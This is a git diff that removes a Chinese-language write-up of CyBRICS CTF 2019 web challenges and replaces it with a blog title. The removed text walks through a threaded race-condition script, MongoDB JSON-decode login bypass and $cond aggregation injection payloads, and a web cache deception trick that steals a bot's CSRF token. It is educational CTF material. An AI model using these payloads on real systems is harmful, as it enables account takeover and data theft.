diff --git a/index.md b/index.md
index 8dba41c..3e28e00 100755
--- a/index.md
+++ b/index.md
@@ -1,298 +1 @@
-# CyBRICS CTF Quals 2019 Web 题解
----
-
-## Warmup
-`http://45.32.148.106/`
-打开网站,自动跳转到 `http://45.32.148.106/final.html`
-一大堆字,直接查看final.html的源码,没什么发现
-然后把final.html删掉,发现index.html下有个自动跳转搭配final.html的js代码,拉到最下面可以看到base64后的flag
-flag: cybrics{4b646c7985fec6189dadf8822955b034}
-
-
-## Bitkoff Bank
-`http://95.179.148.72:8083/index.php`
-注册登录后发现
-![](./pics/CyBRICS CTF Quals 2019 Web 2_1.png)
-可以看到自带0.00003BTC 且要买flag需要UDS大于1
-几个功能分别为
-MINE BTC:每次请求BTC增加0.0000000001
-buy auto-miner:页面添加js代码,$0.01购买自动挖矿,并没什么用
-最后一个是货币转换,UDS和UTC可以互换,比例为 0.00001 BTC : 0.109056 USD
-(这里转换货币前端限制最低0.0001 可以通过抓包改)
-常见思路就是条件竞争了
-```python
-#!/usr/bin/env python
-# -*- coding:utf-8 -*-
-import requests
-import threading
-
-s = requests.session()
-url = "http://95.179.148.72:8083/index.php"
-cookies = {"name":"ccccc014","password":"ccccc014"}
-data1 = {"from_currency":"btc","to_currency":"usd","amount":"0.00003"}
-data2 = {"from_currency":"usd","to_currency":"btc","amount":"0.3"}
-
-def from_BTC_to_UDS():
- for i in range(0,1000):
- r = s.post(url = url , cookies = cookies , data = data1)
-
-def from_UDS_to_BTC():
- for i in range(0,1000):
- r = s.post(url = url , cookies = cookies, data = data2)
-
-t1 = threading.Thread(target = from_BTC_to_UDS)
-t2 = threading.Thread(target = from_UDS_to_BTC)
-t1.start()
-t2.start()
-```
-可以手动把amount越加越大提高效率,跑一会就可以了
-当然,还有一种更常见的思路。多线程挖矿~ 亲测可行(就是跑的久x点)
-![](./pics/CyBRICS CTF Quals 2019 Web 2_2.png)
-flag: cybrics{50_57R4n93_pR3c1510n}
-
-
-## NopeSQL
-`http://173.199.118.226/`
-界面如下
-![](./pics/CyBRICS CTF Quals 2019 Web 3_1.png)
-2个input框是登录用的,试了几个弱口令不对,扫了一下发现了/.git/泄露
-拿到index.php
-
-```php
-test->users;
- $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
- $document = $collection->findOne(json_decode($raw_query));
- if (isset($document) && isset($document->password)) {
- return true;
- }
- return false;
-}
-
-$user = false;
-if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
- $user = auth($_COOKIE['username'], $_COOKIE['password']);
-}
-
-if (isset($_POST['username']) && isset($_POST['password'])) {
- $user = auth($_POST['username'], $_POST['password']);
- if ($user) {
- setcookie('username', $_POST['username']);
- setcookie('password', $_POST['password']);
- }
-}
-
-?>
-
-
-
- Welcome!
-
-
- test->news;
-
- $pipeline = [
- ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
- ['$sort' => ['count' => -1]],
- ['$limit' => 5],
- ];
-
- $filters = [
- ['$project' => ['category' => $filter]]
- ];
-
- $cursor = $collection->aggregate(array_merge($filters, $pipeline));
- ?>
-
-
-
- ", $category['_id'], $category['count']);
- }
- ?>
-
-
-
-
-
-
- Invalid username or password
-
-
-
-
- News
- test->news;
- $cursor = $collection->find(['public' => 1]);
- foreach ($cursor as $news) {
- printf("%s
", $news['title']);
- }
- ?>
-
-
-```
-发现题目分为两步,第一步通过身份认证,第二步读flag
-没密码,我们需要绕过第一个登录的地方
-```php
- $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
- $document = $collection->findOne(json_decode($raw_query));
-```
-这里是通过直接将username和password字符串拼接,且有双引号包裹,所以如下这种payload
-```
-username[$ne]=test&password[$ne]=test
-或
-username={"$ne":"test"}&password={"$ne":"test"}
-```
-传进来会直接当成"Array"字符串 或 "{xxxx}"字符串拼接,不可
-
-且这是在php内完成查询而非带入mongo语句中查询,所以通过注释符来构造 也不可
-```
-username=admin","password":{"$ne":"test"}})//&password=a
-```
-更何况这里还有个json_decode 就算能构造也通不过JSON的解码
-
-那么问题来了,怎么绕过这个json_decode同时绕过身份认证呢
-Let's have a look.
-![](./pics/CyBRICS CTF Quals 2019 Web 3_2.png)
-后面会覆盖掉前面的内容
-那么我们构造如下payload
-```
-username=a&password=123","password":{"$ne":"aa"},"username":"admin
-```
-![](./pics/CyBRICS CTF Quals 2019 Web 3_3.png)
-即可绕过身份验证
-其实在mongodb中原本查询也是如此
-![](./pics/CyBRICS CTF Quals 2019 Web 3_4.png)
-
-成功登录后 根据filter查询数据
-![](./pics/CyBRICS CTF Quals 2019 Web 3_5.png)
-测试出了5个字段
-```
-$_id $title $text $public $category
-```
-不过源码中有限制,只能显示5条,显示不到flag
-简化此处功能代码如下:
-```php
-test->news;
-$pipeline = [
- ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
- ['$sort' => ['count' => -1]],
- ['$limit' => 5],
-];
-$filters = [
- ['$project' => ['category' => $filter]]
- ];
-$cursor = $collection->aggregate(array_merge($filters, $pipeline));
-if (isset($filter)){
- foreach ($cursor as $category) {
- printf("%s has %d news
", $category['_id'], $category['count']);
- }
-}
-```
-查询这里通过aggregate(聚合)方法来查询,其中几个参数的作用为
-`$project`:修改输入文档的结构。可以用来重命名、增加或删除域,也可以用于创建计算结果以及嵌套文档。
-`$limit`:用来限制MongoDB聚合管道返回的文档数。
-`$group`:将集合中的文档分组,可用于统计结果。
-`$sort`:将输入文档排序后输出。
-$project这里可视为根据所输入的条件创建一个小集合
-查了下官方文档,看到一个[$cond](https://docs.mongodb.com/manual/reference/operator/aggregation/cond/) 可以加以利用,相当于MySQL中的 if 条件语句
-通过构造类似于
-```
-/index.php?filter[$cond][if][$eq][]=11111&filter[$cond][if][$eq][]=22222&filter[$cond][then]=$text&filter[$cond][else]=$_id
-或者
-/index.php?filter[$cond][0][$eq][]=11111&filter[$cond][0][$eq][]=22222&filter[$cond][]=$text&filter[$cond][]=$_id
-```
-判断11111 与 22222 是否相等($eq),相等则按$text显示,不等则按$_id显示
-![](./pics/CyBRICS CTF Quals 2019 Web 3_6.png)
-我们根据刚才`filter=$category`查询知道
-```
-politics has 9 news
-flags has 9 news
-finance has 5 news
-comedy has 5 news
-```
-`category`中有`flags`
-这里先给出一个读flag的payload再来解释
-```
-/index.php?filter[$cond][0][$eq][]=flags&filter[$cond][0][$eq][]=$category&filter[$cond][1]=$text&filter[$cond][2]=1111
-或者
-/index.php?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$text&filter[$cond][else]=1111
-```
-相当于
-`filter=if("flags"="$category",$text,1111);`
-先看个图容易搞明白
-![](./pics/CyBRICS CTF Quals 2019 Web 3_7.png)
-这里总共2条数据,如果`$username`等于 admin 时,将`categorytest`设置为原本的`$password`,否则当成 "22222" 字符串
-再去解读刚刚的payload,如果`$category`等于 flags 时,新集合中的`category`设置为原本的`$text`,否则按字符串 "1111" 输出
-![](./pics/CyBRICS CTF Quals 2019 Web 3_8.png)
-
-flag: cybrics{7|-|15 15 4 7E><7 |=|_49}
-
-## Caesaref & Fixaref
-### Caesaref
-很nb的非预期
-`http://45.77.218.242/`
-其他web题暂时都还活着 就这个关了 作者看不下去了?
-和Fixaref基本功能类似,不过bot发请求时把自己的cookie带上了...
-直接改cookie拿到flag
-flag: cybrics{k4Ch3_C4N_83_vuln3R48l3}
-注意这个flag
-
-### Fixaref
-`http://95.179.190.31/`
-注册登录,一个单一的input框
-随便输入123后看到返回可以输入一个link
-![](./pics/CyBRICS CTF Quals 2019 Web 4_1.png)
-输入自己的vps地址收到响应
-![](./pics/CyBRICS CTF Quals 2019 Web 4_2.png)
-可以看到是 python-requests 发起的请求
-并且如果能正常请求到与请求不到有不同的回显 能判断是否存在页面
-常见思路是ssrf,不过获取不到页面的回显 又不像urllib能crlf注入
-就算判断出了有redis也打不了
-
-本来思路到这里就有点断了,后来想起来那个非预期的flag好像不是随机字符,果断看了一下
-cybrics{k4Ch3_C4N_83_vuln3R48l3}
-kache can be vulnerable
-kache... cache?
-服务器端会有缓存?
-先让bot访问一下某资源,自己在短时间内再次访问,得到的会是和bot请求一样的?
-当然静态资源又不会变,自己访问和bot访问本来就是一样的。
-访问`/index.php/testccccc.css`
-得到
-![](./pics/CyBRICS CTF Quals 2019 Web 4_4.png)
-内容还是index.php
-不过这个请求在服务器端被认为是`testcccc.css`静态文件,从而产生缓存
-我们此时用一个未登录过的cookie去访问`/index.php/testccccc.css`
-发现得到的和上图一样,那么我们让bot用自己的cookie访问`/index.php/hacktest.css`
-我们再请求这个'静态文件',有
-![](./pics/CyBRICS CTF Quals 2019 Web 4_5.png)
-
-![](./pics/CyBRICS CTF Quals 2019 Web 4_6.png)
-用得到的`csrf-token`构造读flag的请求 注意`&`符号要urlencode一下
-
-`http://95.179.190.31/index.php/flag.css?csrf-token=bot's_token%26flag=1`
-然后我们访问
-`http://95.179.190.31/index.php/flag.css?csrf-token=bot's_token&flag=1`
-即可获取flag
-![](./pics/CyBRICS CTF Quals 2019 Web 4_7.png)
-
-Flag: cybrics{Bu9s_C4N_83_uN1N73Nd3D!}
-
+## Welcome to c014's blog